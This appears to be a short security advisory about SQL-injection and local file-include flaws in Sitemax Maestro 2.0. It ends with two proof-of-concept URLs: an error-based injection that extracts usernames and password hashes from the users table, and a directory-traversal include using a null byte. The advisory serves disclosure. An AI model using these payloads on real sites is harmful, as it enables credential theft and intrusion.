source: https://www.securityfocus.com/bid/55386/info

Sitemax Maestro is prone to SQL-injection and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these vulnerabilities to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, use directory-traversal strings to execute local script code in the context of the application, or obtain sensitive information that may aid in further attacks.

Sitemax Maestro 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/pages.php?al=100000000000000000000000000' or (select floor(rand(0)*2) from(select count(*),concat((select concat(user_name,0x7c,user_password) from sed_users limit 1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- AND 1='1

http://www.example.com/swlang.php?lang=../../datas/users/file.gif%00&redirect=